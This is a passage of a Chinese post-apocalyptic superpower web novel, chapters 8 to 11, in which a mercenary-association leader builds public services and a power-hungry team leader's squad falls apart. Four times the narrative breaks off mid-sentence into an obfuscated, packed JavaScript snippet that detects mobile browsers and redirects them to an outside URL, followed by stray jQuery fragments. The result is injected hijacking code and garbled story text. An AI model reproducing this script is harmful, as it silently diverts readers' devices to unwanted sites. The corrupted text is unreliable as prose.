“没事，”男人表现的很洒脱“就治一点儿小伤，协会不会管这个，而且这次过来的人多，能帮忙就帮一点儿呗。” 59. 第8章 “效果不错，”江书言走到凌玉旁边轻声说道“放心，如今治愈系异能者供不应求，医院的事不会有什么大问题。” “大概是我有点儿强迫症，什么都想做到完美。”凌玉笑了笑，虽然她一直在前方杀丧尸，但医疗队那边的动静她也在注意“毕竟现在白山基地里还有不少散户治愈系异能者，除了塑造协会治愈系异能者专业、热心的正面形象以外，散户的数量也不能太多。” “我知道了，”江书言微微颔首“这件事交给我。” 他虽然在协会不怎么管日常事务，但比较特殊的事大多会交给他，毕竟外界都以为他是金系异能者，知道他有精神系异能的人只有凌玉，哪怕他做了什么，外界也不会怀疑到他头上。 “咦？”凌玉忽然微微侧头“书言，你刚刚看到一个穿着半身裙，一头墨绿色长发的女人了吗？” “没有，”江书言摇头“这样打扮的人应该很引人注目吧，怎么了？” “没什么，”凌玉笑了笑“或许是我看错了，我认识这个人，小时候见过一次，她的确很特别，或许在异能者之外，世界上有神仙或者妖精也说不定。” “有可能，”江书言煞有其事的点头“毕竟就连穿越重生都是真实存在的，有神仙也不奇怪。” “云云，那个人的气息好奇怪啊！”窝在眠云怀里的花花探出头去看江书言“他身上为什么会有一种混乱感？” “还记得之前那个穿越者刘烨吗？”眠云看了江书言一眼，轻声道“和刘烨的情况一样，他也是穿越的，所以他身上时间法则是混乱的。” “啊，我想起来了，”花花点了点小脑袋“上次那个穿越的还是云云帮忙丢回她原本时空的，这次云云也要把这个人丢回去吗？” “丢不了，他在原本的时空已经死了，尸体都火化了。”眠云揉了几下花花的脑袋“还有，我是将人送回去，人又不是垃圾，不能被丢。” “啊，那这个人还挺倒霉的，”花花又看了一眼江书言“他之前的身体死了，他就永远都回不去，也见不到爸爸妈妈了，我记得人类的爸爸妈妈对他们来说应该很重要吧？” “恰恰相反，这个人很幸运，”眠云稍微看了一下江书言的生平“他的父母早在他几岁的时候就去世了，他也是在死亡的那一瞬间才穿越，可以说穿越让他获得了第二次生命，而且，他还是个精神系异能者。” “精神系有什么不对吗？”花花不明所以。 “精神系异能比较特殊，不太依赖身体，而更倾向于依附灵魂，”眠云解释道“按理说，他穿越之后应该只拥有穿越以后身体的异能，也就是金系异能，可由于精神系异能的特殊性，他同时拥有了两种异能。” “眠云……小姐？” 陈卓伟在人群中看到那抹熟悉的身影，他顿时连杀丧尸也顾不上了，挤开人群狂奔向眠云，脸上也挂上了谄媚的笑容“眠云小姐，您还记得我吗？” “陈先生，”眠云反应平平“请问你找我有什么事吗？” “是这样的，就是这个实力……我能不能再往上升一升？”陈卓伟用手比划了一个小小的距离“我也不多要，七阶就够，现在白山基地有好几个六阶，六阶实在太普通了。” “陈先生，你要知道，并不是我吝啬，只给了你六阶的力量，而是你的身体最多能承受六阶，七阶的力量你就不怕爆体而亡吗？”眠云似笑非笑“更何况，这一次，你又能拿出什么和我交换呢？” “六阶巅峰，那六阶巅峰行不行？”陈卓伟仍不死心“至于交换，我拿命跟你换，你把我的异能取走的时候，我剩下的寿命也归你，这样行了吧？” “那么，我再确认一遍，”眠云笑了笑“陈先生你想要将异能提升到六阶巅峰，自愿承担提升异能的后遗症，并且愿意以七十六岁之后的寿命作为交换，是吗？” “……是！”听到后遗症的时候，陈卓伟下意识哆嗦了一下，但很快他又想起了他现在的处境，一个平庸的异能者小队队长，他宁可老了以后受苦，也不想一辈子都这么窝囊！ “好，”眠云的声音里带了几分愉悦“交易达成。” 陈卓伟顾不上细想眠云的态度，他连忙检查起自己的身体，发现自己力量又变强了之后，他仰头狂笑，直直冲入丧尸群中，引起周围人一片惊呼。 “奇怪，”江书言皱皱眉“刚刚那个冲进丧尸群里的人，实力怎么又提升了？” “这个……我想我大概知道原因，”凌玉笑了笑“放心，不是什么重要的事，以他的贪婪，这次的提升应该是极限了，更何况提升实力可不是免费的。” 凌玉有一个秘密，她在八岁的时候曾经遇见过一个拥有墨绿色长发的大姐姐，大姐姐说可以救她，但也要向她收取报酬。 她拒绝了，不是因为她不想离开，而是她想亲手毁灭那个地方。 这么多年过去，她自己偶尔也会怀疑当初自己只是臆想出了一个人，但现在看来，那个大姐姐是真实存在的，只是或许她们并不处于同一时空。 陈卓伟不知道旁人的腹诽，他只是尽情的在丧尸群里拼杀，这种拥有力量的感觉实在太好了，周围的异能者都在用敬畏的眼神看着他，他不知道自己到底拼杀了多久，再睁开眼，他已经在队伍的基地中躺着，在他身旁的是他的好兄弟，王强。 “老大，你醒啦？”见陈卓伟醒了，王强忍不住说道“老大，你……是不是身体不舒服？” “我没事，”陈卓伟抹了一把脸，他并没有感觉到哪里难受“强子，发生什么了？我是怎么回来的？” 陈卓伟现在才反应过来，他只有冲入丧尸群拼杀的记忆，却没有回来的记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068240|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这是怎么回事？ “就是老大你忽然冲入丧尸群里杀了很多丧尸，”王强吞吞吐吐的答道“后来不知怎么，老大你一下子就晕倒了，可能是太累了吧。” 当时陈卓伟冲入丧尸群的时候，王强是想要阻止他的，毕竟力量系异能者没有范围攻击，一但陷入苦战会很危险，可陈卓伟就像疯了一样，丝毫听不进他说的话，只一味的杀丧尸，直到晕倒为止。 “老大！”刚子走进来，见陈卓伟醒了，他兴奋道“老大你也太牛了，你一个杀的丧尸数量比我们整个队还多，现在有一大堆异能者在打听我们小队，甚至还有个五阶的来问我们招不招人呢！” “那是，”陈卓伟本想问问王强当时的情况，但一听刚子这么说，他顿时得意起来“实话告诉你，你们老大我可是六阶巅峰异能者，是整个基地最强的，跟着我，以后好处有的是。” “老大威武！”刚子想到自己最近频频引得老大不满，现在正是拍马屁的好时候，他立刻开始夸赞陈卓伟的功绩，最后说道“对了老大，那些想加入我们队的怎么回？我们现在还招人吗？” “招！”陈卓伟的力量给他带来了非常大的自信，他大手一挥道“你老大我异能是全基地第一，势力也应该是第一，雇佣兵协会算什么？等我哪天带你们去踢馆，掀了他们的摊子！” “老大，”和脑子缺根弦的刚子不同，王强多少有些顾虑“我们小队现在的成员大多都是新成员，若是再招太多人的话，成员之间会不会有矛盾啊？” “那就不要女的，全招男的，”刚子随口说道“男的总不可能像女的一样叽叽歪歪，入了队以后大家都是兄弟，哪怕平时吵两句嘴，关键时候也肯定靠得住。” 蠢货！王强暗骂道，利益之争哪有什么男的女的？他以为人人都像他一样蠢，整天偷奸耍滑，过了今天就不想明天吗？ “刚子说的对，”陈卓伟深以为然“大家都是兄弟，谁不服，打一架就行了，别学那些磨磨唧唧的女人，讲什么大道理，在老子这儿，老子的拳头就是道理！” 清理南区的任务不是一天两天能完成的，陈卓伟为了打响名声，几乎天天冲在最前线奋力杀丧尸，不少人知道了基地还有他这么一个六阶异能者，而比陈卓伟更加声名远扬的，是来自雇佣兵协会的医疗团队。 经过几天的发酵，协会医疗团队专业、热情的形象已经深入人心，眠云顺势宣布医院开业，除了极少数反对的异能者以外，大多数人都是很支持，毕竟以前的治愈系异能者都是散户，拒收病人、收费不合理等现象比比皆是，如今有一个稳定、收费合理，随时都有医生的医院也是件好事。 凌玉身为雇佣兵协会的会长，自然不可能天天去南边战场，在医院的经营情况稳定以后，她和协会的副会长之一秦忠来到了一座西区的大院之中。 60. 第9章 白山基地内无人不知，雇佣兵协会会长热衷公益事业，不仅每隔三天会去西区施粥，还收留了大量无家可归的老人儿童，在人命比草贱的末世，这种行为可谓是独树一帜。 “会长，老头子我还真有点儿不懂你的意思了，”秦会长摸着脑袋问道“凭良心讲，小孩好歹是未来的希望，养个十年八年就是劳动力，我虽然也是个老头，但坦白说，这末世里老人真没啥用，而且老人的身体只会越来越差，等到八十多岁，哪怕是异能者都发挥不出多少实力了。” “秦会长，您觉得，现代为什么会有养老制度？”凌玉笑容清浅“要知道，养老支出那么大，只凭良心和人文关怀怎么可能做的到？” “可能是怕老人成了无业游民以后危害社会，增加社会管理成本？”秦会长猜测道“毕竟以前六十退休，这个年纪大多数人还有行动能力，却又找不到工作，如果无儿无女又没钱，想要生存下去只能靠偷或抢。” “还有最重要的一点，”凌玉笑着说道“每个人都会老的，或许人年轻的时候不会考虑老了以后怎么办，可一但超过五十岁，心再大的人也会想给自己找退路，秦会长，如果您是一个没有异能或者异能不厉害的老人，为了让自己安度晚年，您会做什么呢？” “拼命攒钱呗，”秦会长想了想“除了这个，恐怕也没旁的办法了。” “是啊，”凌玉语气轻描淡写“一但没有办法，人就会开始想办法。” “在古代，没有后代的太监异常爱财，甚至不惜以身犯险敛财，因为他们没有后代，没有保障，为了老了以后能过的轻松些，必须想些不同寻常的法子。” “所以，当人类没有养老保障的时候，乱象远远比想象中来的早，不仅是老人，哪怕是中年人、年轻人，都会陷入养老惶恐，如果所有人都只攒钱不消费，那整个基地的发展都将停滞不前。” “老人的问题看似只涉及老人，实际上却涉及所有人。”秦会长有些明悟“果然任何制度都有其背后的道理，毕竟那是几千年总结的经验。” “正是如此，”凌玉笑眯眯的点头“我收留无儿无女的老人，养活他们要不了多少钱，但对白山基地的整体发展，协会在基地内的形象却有大作用，四十岁以上的异能者多会选择在协会效力，因为他们害怕老了、没用了以后会被抛弃，而协会设立的老人院却给了他们一个用来兜底的保障。” 总有人觉得，末世来临之后的社会会恢复成最原始的弱肉强食形态，可他们从来没想过，现代制度是前人根据无数教训总结而来，但凡有点脑子的领导者，都不可能会用被封建社会淘汰，原始社会那一套方案来治理基地。 “我虽然不是什么善人，”凌玉伸手敲了敲老人院的大门“但竭渔而渔的方法不可取。” “那会长这次过来，还特地带上我一起又是为了什么？”秦会长点头，他能理解身处高位有很多事必须长远考虑，不能像个游侠一样只想着眼前利益。 “物尽其用，”凌玉露出了一个笑容“南边的地快清出来了，我冒昧问一句，秦会长，你会种地吗？” “这……”秦会长有些尴尬“我年轻的时候倒是种过，只是后来年轻人都进城打工，我也有个二三十年没下地干活了。” 别说是凌玉这样二十出头的年轻人，就连五十三岁的秦会长都没种过几年地，对脚下这边土地熟悉的，恐怕只有上了年纪的老人。 “原来如此，”秦会长笑道“这对那些老人而言，倒也算个去处。” 能熬过三年末世的老人身体都不会太差，毕竟瘫痪在床的那些也跑不出来，老人们现在的困境不是没有自理能力，而是在很多年轻人都失业的情况下，没人愿意给他们一份工作。 耕田，是最适合他们，且也是少数他们能做的，有了一份合理填饱肚子的工作，好歹他们不用担心饿死病死，有了余钱以后，日子也能好过些。 “除了这些老人，也派一些年轻人过去。”凌玉点了点大门“毕竟这样的日子还不知道要持续多久，耕田是一个很实用的技能，必须要有人会，至于人选……我打算雇佣西区的女人。” “我看那些儿童之家里那些小孩也挺闲的，为什么不干脆让他们去干活？”秦会长知道凌玉肯定有自己的打算，他随意调侃道“难不成你觉得那些小孩还小，不应该干活？” 虽说在现代十八岁成年，大学毕业以前都只能算孩子，但在秦会长年轻的时候，十七八岁就出去打工的年轻人比比皆是，特殊时期特殊对待，现在可没有让孩子学习到二十多岁才工作的条件了。 “现在人多工作少，不少大人还没有工作呢，没必要让那些孩子提前工作。”凌玉语气平淡“西区的女人大多是找不到工作的，对她们来说没有工作就意味着慢性死亡，现在整个基地的性别比已经够失衡的了，女性数量少，意味着新生儿会更少，无论什么年代，人口都是基础，再过几十年，总不能干活的还是我们这一批人吧？” “那可忒吓人了，”秦会长抹了把冷汗“老头子我活到这个岁数是为了享受的，又不是为了干活干到死的，我觉得会长你说的对，就按会长说的办。” * “老大，今天我们又招了一批人，有个女的过来问让我给拒了，”刚子登记完今天想要加入小队的人，急吼吼的向陈卓伟报告“老大，现在我们队都有五十来号人了，还有一个五阶，三个四阶，老大你什么时候带兄弟们干一票大的啊？” “怎么？”陈卓伟抬了抬眼睛看向刚子，最近不知怎的，他总觉得有些困，提不起精神，可能是前段时间清理南区异能使用过度了吧“没钱了？” “我一个单身狗，有多少花多少，根本攒不住钱，”强子尴尬的笑了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077307|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声“老大，你就别嘲笑我了。” 他虽然没有攒钱的习惯，但也不至于手上一点儿余钱也没有，主要是最近南区的任务报酬少也就算了，老大还说要按劳分配，他一个二阶水系异能者，贡献又能有多大？那挣的三瓜俩枣还不够治疗钱呢，要是再这么入不敷出，他真没钱了。 “行，”陈卓伟强打起精神“你带着弟兄们，一起去白山狩猎。” “好嘞！”刚子这下来了精神，连忙把所有队员都叫了来，一群人浩浩荡荡的前往白山狩猎，可惜这次他们的收获并不算多，倒不是打不过，而是他们逛了一整天，根本没遇上高阶异兽，连四阶的都没有。 “老大，”看着十几只三阶以下异兽，王强有些为难的问道“这些异兽摆摊卖吗？还是送到雇佣兵协会？” 雇佣兵协会虽然拉黑了他们，但新入队的成员没有被拉黑，想卖的话倒也算容易，只是这三阶异兽哪怕都卖出去，给五十号人分钱，一个人也分不了太多。 “这么多人呢，随便派个人去摆摊不就行了？”陈卓伟摆摆手“自己卖，价格多少能高点。” 陈卓伟没什么商业头脑，也不懂该如何运作，毕竟在他看来，只要他够强，猎到的异兽品质够高，那自然就会受人追捧。 “行，”王强点点头，三阶以下异兽还算好卖，自己摆摊也挺好的“那这次的收入要和兄弟们怎么分？” “和之前一样，”陈卓伟头也不回的转身休息，他今天特别累，连话也不想说“多劳多得。” “老大，猎物只有十五只，没办法按斩杀的人算。”王强提醒道。 “没事，”陈卓伟脑子有些迷糊“谁打到就算谁的，没打到的下次再努力就行了，省的你们一个个的整天偷奸耍滑，不干正事，行了你出去吧，我要歇着了。” 王强很不认可陈卓伟的分配方式，但无奈他在新建的队伍中属于底层，没有多少话语权，他只好按照陈卓伟的意思，将猎物一一分配，并告知队员等待下一次狩猎。 陈卓伟被踢里哐啷的声音吵醒，他揉了揉脖子，起身踹开门吼道“谁啊？！谁一大早上的不学好搁这儿拆家，欠抽了是不是？” “老大，”王强小心翼翼的叫道“你醒了啊？” “怎么回事？”陈卓伟揉揉眼睛，才感觉脑子清醒了一些，他环视一周，发现队里的成员都围成一圈挤在这儿“都在这儿站着干嘛？” “老大，队里有几个兄弟打起来了，”王强指了指位于中间的几人“他们……在分配猎物上起了点儿矛盾，就打起来了。” 新招的异能者中有一个是四阶水系异能者，水系异能更擅长禁锢一类的，速度比较慢，所以一般都是他用水禁锢住猎物，其他队员负责杀。 可陈卓伟的分配方式是谁杀算谁的，这样算起来，他就一个猎物都没杀，自然不可能满意。 61. 第10章 总有人觉得，男生宿舍的氛围比女生宿舍更和谐，因为男性大多不会计较一些小事，而女性则会把每一件自己不满意的事都记下来，反复说对方有哪里做的不对。 这样说好像是男性相对比较‘顿感’，可实际上，他们真的没注意到自己吃亏了吗？ 答案当然是否定的，记不计较只与性格有关，与性别无关，男人之所以看起来没那么计较，是因为通常男性群体内部有阶级存在。 用通俗一点儿的话来说，就是一群男人总会有一个‘老大’，这个老大可能更年长，可能更有钱，也可能在运动、专业技能等方面更有实力。 男人们以老大为核心，建立起一个团体，团体中的人根据自身实力，有一套内部排序，这种排序就像国王—大臣—骑士—平民一样，带有天生的话语权差距。 女生群体则相对比较平等，除了精神小妹，几乎没有人会认老大，而这种平等，往往是产生矛盾的根源。 举一个最简单的例子，大学期间有不少人让室友帮忙带过饭，如果将这件事放在女生宿舍，就是人人平等，我没有义务给你带饭，如果放在男生宿舍，就是平民有义务为国王服务，所以平民必须要给国王带饭。 其实无论男女，频繁进行无偿跑腿势必会引起不满，不同的是，女生通常会进行高频次低强度冲突，包括但不限于抱怨、吵架、相互不搭理，而男人则会像农民推倒皇帝一样，在忍无可忍后爆发剧烈冲突，轻则打架，重则演变成刑事案件。 而陈卓伟所组建的队伍恰好就形成了一个类似于‘男生宿舍’的纯男性群体。 “在这儿打架算什么，有本事去白山打几个异兽来！”陈卓伟呵斥道“规矩是我定的，不满意就滚，别在这儿唧唧歪歪！” “走就走，”水系异能者也不是什么善茬，以他的能力，在白山基地内并不缺队伍收留，当初他觉得陈卓伟能力出众才加入，因为加入的时间短，离开也没什么压力“梁炎，走！” 一下子走了两个四阶异能，陈卓伟也彻底清醒过来了，他问了王强这件事的来龙去脉，王强看了一眼在旁边似笑非笑的五阶异能者，苦着脸答道 “这……我也不太清楚，我只知道梁淮、梁炎两兄弟一大早起来就去找了吕哥的麻烦，吕哥和他们吵起来了，最终……就是老大看到的这样。” 实际上是五阶速度系异能者吕厚仗着自己速度快，抢了别人的猎物，梁淮、梁炎两兄弟不仅都是四阶，异能也很实用，他们合力自然不怕吕厚，所以就想来讨个说法。 吕厚这个人说话阴阳怪气的，王强对他的印象不是很好，梁淮梁炎自然更接受不了，闹到最后结果就是一个早上的时间，团队失去了两名四阶异能者。 人已经走了，为了不进一步激化矛盾，王强只好将黑锅都甩在离开的人头上，毕竟离开那两个再怎么说好话人家都不可能回来，要是吕厚转身走人，那团队可就一朝回到解放前了。 王强虽然在团队中是天子近臣，但吕厚是除了陈卓伟以外队伍里异能等级最高的，他可不想试试他和吕厚谁更重要。 听到王强这么说，陈卓伟当即又骂了几句，只是他实在精力不济，没骂多久便又回去睡觉了。 “强子啊，”在陈卓伟离开以后，吕厚拍了拍王强的肩膀，笑眯眯的说“你小子行啊，挺机灵，哥这回算欠你一个人情。” “吕哥，你这是说的什么话？”王强身子猛地哆嗦了一下，肩膀上像是被蛇拂过“我不过是实话实说而已，况且大家都是兄弟，哪有隔夜的仇。” “你说的对，”吕厚笑眯眯的回了一句“我记得你也是速度系异能者，你小子以后就跟着哥混吧，哥罩着你。” 王强尬笑了两声，不知该如何回复，他不想与吕厚为伍，又不太好直接拒绝，他想着反正他们也是一群人一起行动的，有老大压着，吕厚也闹不出什么乱子，便随意附和了两声，算是回应。 时间一晃又到了狩猎的日子，陈卓伟这几天除了吃饭就是睡觉，精神却迟迟没有恢复，他拖着疲倦的身躯带领众人狩猎，结果这次猎到的异兽还不如上次，一共猎到十只异兽，还只有三只是三阶。 “老大，快冬天了，那些异兽都躲起来过冬了，”王强双手拢在嘴边，嘴里吐出白气“最近是不是要增加狩猎次数？冬天还出来狩猎也太遭罪了。” 白山基地位于北方，冬天泼水成冰，异能者只是体质比普通人好，又不是感觉不到冷，大冬天的出来谁也不好受。 王强这么一说，陈卓伟才想起来，他刚刚升到六阶异能那阵子正是狩猎的好时候，可惜当时他还沉浸在异能提升的喜悦之中，忘了要囤积猎物，后来更是忙于清理南区和招新队员，硬生生把这一年最好的时候给错过了。 “我、老吕、鑫子分别带队，”陈卓伟想了想，将队伍里五阶和四阶的异能者点出来“天黑以后在城门口汇合。” 猎物稀少的时候，分开是明智的选择，王强也没什么意见，但出乎他意料的是，吕厚竟主动找他去自己的队伍，王强有些不明所以，但见其他人都没什么反应，他也只好答应下来。 “强子，”吕厚带着十五个人向西边走，他边走边说道“你知道我们速度系异能者的优势在哪儿吗？” “……速度快？”王强犹豫了片刻，说了句废话。 “没错，”吕厚意味深长的看了他一眼“速度快，就意味着可以先下手为强。” 说着，吕厚如闪电般出手，捕获了一只二阶异兽，王强一开始还不明白，但一路走来，除了吕厚以外没有任何人成功斩获过猎物，哪怕有旁的队员攻击，吕厚也会抢先一步完成击杀，王强这才明白过来他在说什么。 因为速度系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081552|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异能者速度更快，所以只要他们想，抢旁人的猎物简直是易如反掌，再加上队里有谁杀死的猎物就是谁的这种规定，出来一趟，速度系异能完全可以包揽所有收益。 “学会了？”吕厚笑着看了他一眼“下一个猎物我会留给你，记得机灵点儿，别让别人抢了先。” “吕哥，”王强心下有些迟疑“这样做是不是不太好，快入冬了，好歹要给兄弟们留条活路吧？况且如果兄弟们长时间捕不到猎物，退队了怎么办？” “你操心这个干什么？”吕厚不以为然的说道“队伍又不是我的，退不退和我有什么关系？我可告诉你，要不是你之前帮我说过话，这猎物我还不给你呢，你不过就是个二阶异能者，要不是我帮你，你能抢的过谁？” “……谢谢吕哥。”王强压下心里的不适，他知道吕厚说的是对的，他就是个小小的二阶异能者，自己活下来最要紧，哪还能管的了别人？ 接下来的几次，吕厚如法炮制，包揽了大部分收益，队员们怨声载道，谁也不愿意和他一队，陈卓伟身体越来越差，没有闹出大事的时候就睁一只眼闭一只眼，王强捞到了好处，自然装聋作哑。 在这样的默许之下，矛盾终于爆发，以一个火系三阶异能者为首，众多三阶异能者和吕厚打了起来，吕厚一个五阶异能者，自然不惧三阶，他甚至还放出话来，要让这些人一个猎物都抓不到。 “吕哥，”王强心里有些不安，他看向身后沉默的异能者们，小声说道“这样……真的能行吗？” 这可是整整十五个三阶异能者啊，而且他们中绝大多数异能还都是很有用的攻击或防御性异能，哪怕这些人中随便挑一个出来，他这个二阶异能者都得当场被打成渣。 “不过是一群三阶的垃圾而已，”吕厚丝毫没有收敛的意思“垃圾就是垃圾，无论多少垃圾聚在一块都伤不了我一根毫毛。” 身后的异能者们一言不发的沉默着，似乎真的无力反驳，可王强却感觉到了一种强烈的违和感，他想立刻掉头就跑，尽快远离这里。 “轰——” 一道火焰轰在地面上，王强被吓了一跳，吕厚却露出了一个挑衅的眼神道“怎么，不敢打我？” “吕、吕哥，你少说两句！”王强心里越来越不安，他甚至顾不上吕厚很记仇，直接喊道“我们快跑吧！” “你跑不了，”最先打出火焰的异能者缓缓转过身“你们两个，谁都跑不了。” “我去你的！”吕厚上前给了火系异能者一拳，“老子根本不用跑，怎么，你还能杀了我不成？！” “我杀不了你，”火系异能者被打的踉跄了一下“但是，它可以。” 它？它是谁？ 两人说话的功夫，地面开始颤动，王强起初以为是地震了，但显然，这不是地震，而是某个强大异兽起床的征兆。 62. 第11章 异兽变异的方向很多，有速度变快的，有力量变大的，虽说体型大多比以前大，但多数还在人们能接受的范围以内。 可眼前出现的庞然大物，王强甚至不知道它能不能被称作异兽，毕竟他从未见过如此巍峨高大，身体由山石组成，宛若神话中巨石成精一般的怪物。 “快……快跑！” 不知是谁爆发出了一声尖锐的叫喊，王强猛地反应过来撒腿就跑，可怪物已经醒来，又岂容他们逃脱，常年在林中狩猎的猎人此刻成了惊慌逃窜的猎物，发出仓惶惊叫。 石头组成的庞大异兽重重向地面砸下一拳，只听轰的一声巨响，尘土飞扬，地面开裂，碎石纷飞，王强踉跄一步，向前滚了一圈，小腿处一阵剧痛，应该是骨折了。 他不敢停下，咬着牙爬起来，一瘸一拐继续逃命，可刚走了两步，那庞然大物再次向地面砸下一拳，好巧不巧，一棵断裂的大树将他压住，正好砸在他的伤腿上，让他动弹不得。 “救我……”王强此时只有一个念头，他要跑，他想活，“快！快救救我！” 他名义上的队友，那个激怒巨石兽的火系异能者停在他旁边，居高临下的看着他。 “求你，救救我！”王强知道，这个时候唯有对方能救自己。 “我也没办法，”火系异能者动了动嘴角，他语气平静，眼神却像结了冰“毕竟异兽那么强，救了你，万一我被异兽针对了怎么办？” 王强脑子轰的一下炸开，这句话犹如当头一棒，将他砸的两眼发昏，他呆滞的看着对方，不知该作何反应。 “这不是你说的吗？”火系异能者哼笑一声“我没有落井下石，只是你怎么对我，我就怎么对你。” 是的，在异能者们集体反抗吕厚当小队长，找到他的时候，他拒绝了帮他们说话，也不觉得自己有什么错，毕竟各人自扫门前雪，莫管他人瓦上霜［注］，他只是旁观而已，他又有什么错？ 如今，灾祸降临在他头上，旁人隔岸观火，他也无可指责。 轰隆轰隆的声音不断从身后传来，王强绝望的闭上眼睛，他自诩聪明，就该知道唇亡齿寒，队友都活不下去了，他又能有什么好下场？ 可惜……可惜了，如果他当日帮他们说一句话，是不是今日他就不会死了？ 可惜，现在无论想什么都已经太迟，在巨石兽的攻击下，王强很快就成了一具林间的无名尸体，过不了多久，野兽、细菌会将他的尸体分解，一切都了无踪迹，归于天地之间。 * 吕厚吐了一口血，拼命向前奔跑，他好歹是五阶速度系异能者，逃命的本事比其他人强的多，但不知为何，巨石兽一直紧追着他不放，一旦他露出疲态，就会被巨石兽撕扯成碎片。 吕厚心想，这样下去不行，毕竟异能者是血肉之躯，迟早有体力耗尽的时候，巨石兽虽然也算生物，但明显比他体力要强很多。 那么，就和以往一样。 在吕厚加入队伍的时候，负责接待新人的刚子曾经有过怀疑，毕竟五阶异能者在哪儿都算高手，速度系异能又很实用，为什么吕厚会没有队伍，孤身一人来问他是否可以加入？ 当时吕厚回答是与之前的队长有分歧，独自离开了队伍，实际上他说谎了，他的上一个队伍早已不复存在。 一切的起因，还要从一年前说起，那时的吕厚还是一个异能者小队的队长，当团队遇上六阶异兽的时候，他为了活命，将队员一个一个往异兽的方向推，异兽收到了猎物便会暂缓攻击，凭借着献祭队员，他活了下来，也成了光杆司令。 活下来以后，吕厚感觉自己损失重大，毕竟组建小队花费了他不少时间精力，这下子全没了，再三考虑过后，他决定空手套白狼，加入旁人的小队，凭借自己五阶的异能夺取话语权和利益。 这个方法出奇的顺利，毕竟一般的小队看到有五阶异能者加入自然是非常欢迎，谁都没想到，这个深受众人信赖的高手会是一个不择手段的吸血鬼。 他会不顾一切的大口吞噬团队的血液，又在团队枯竭之后拍拍屁股走人，实际上陈卓伟的团队已经是他待过的第四个异能者小队了。 心里打定了主意，吕厚便有意朝着一个方向跑，在他心里，除了他自己之外的人都能被拿来利用，能将危险嫁祸给别人，何必要自己上呢？ * “咳咳！”陈卓伟剧烈咳嗽了两声，不知为何，他最近用觉得胸口闷痛，心脏也跳的很快，难道这就是提升异能的后遗症吗？ “老大，你没事吧？”刚子走到陈卓伟身边，除了王强，要属他跟在陈卓伟身边的时候最多“走了这么长时间都没什么猎物，要不我们歇一会儿吧？” “咳咳！不用！”陈卓伟咳的更厉害，但他显然听不得旁人说他不行。 “老大，真不用？”刚子没多少脑子，他挠了挠脖子，又说道“可老大你脸色不太好，难道是昨晚找哪个小妖精大战去了？” “刚子，你少给老子瞎扯！不会说话就闭上嘴！” 刚子这一番言论显然没能让陈卓伟满意，但这么多年，陈卓伟也习惯了刚子的傻，只呵斥了他两句，倒也没再多说什么。 “老大，刚子其实是自己累了，又不好意思说，”老吴见气氛有些尴尬，开口道“不如我们歇一会儿吧，再这么走下去，别说刚子，我这把老骨头也撑不住了。” “我才不累，你要累了你自己歇着，”刚子丝毫不领情，伸手往前方一指“喏，我那是侦察敌情呢，别怪我没告诉你，前面有个异兽在那儿跑呢！” “在哪儿呢？”陈卓伟眯着眼睛朝前看，半晌之后他一巴掌打在刚子脑袋上骂道“瞪大你的狗眼，那哪儿是异兽，那是吕厚！” 轰隆——轰隆—— 巨石兽体型庞大，走起路来地动山摇，刚子下意识躲在陈卓伟身后，陈卓伟白了他一眼却没有做什么，毕竟在场的人都默认了，能够打败巨石兽的，只有身为六阶异能者的陈卓伟。 “老大，救命啊——”吕厚眼尖，隔老远便看到了陈卓伟，他脚下生风，直直的朝陈卓伟奔过来。 “行了，”陈卓伟向前走了几步，语气带着几分嫌弃的说道“看你那狼狈样，还有你们几个，都躲远点儿，到时候我打起架来可顾不上你们。” 虽说嘴上嫌弃，可陈卓伟明显很享受这种当英雄的感觉，他甚至没问为什么只有吕厚一个人回来，而是在原地摆好造型，等待着巨石兽送上门。 当吕厚如风一般的从陈卓伟身边掠过，巨石兽也毫不留情的举起了拳头想要将拦路的人类锤成肉泥，陈卓伟大吼一声，向上挥出一拳，竟将体型大于他百倍的巨石兽生生拦了下来。 “哇——”刚子张大了嘴巴“老大好……” 还没等他说完，变故突生，巨石兽发出一声怒吼，它的眼睛发出红光，拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086057|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 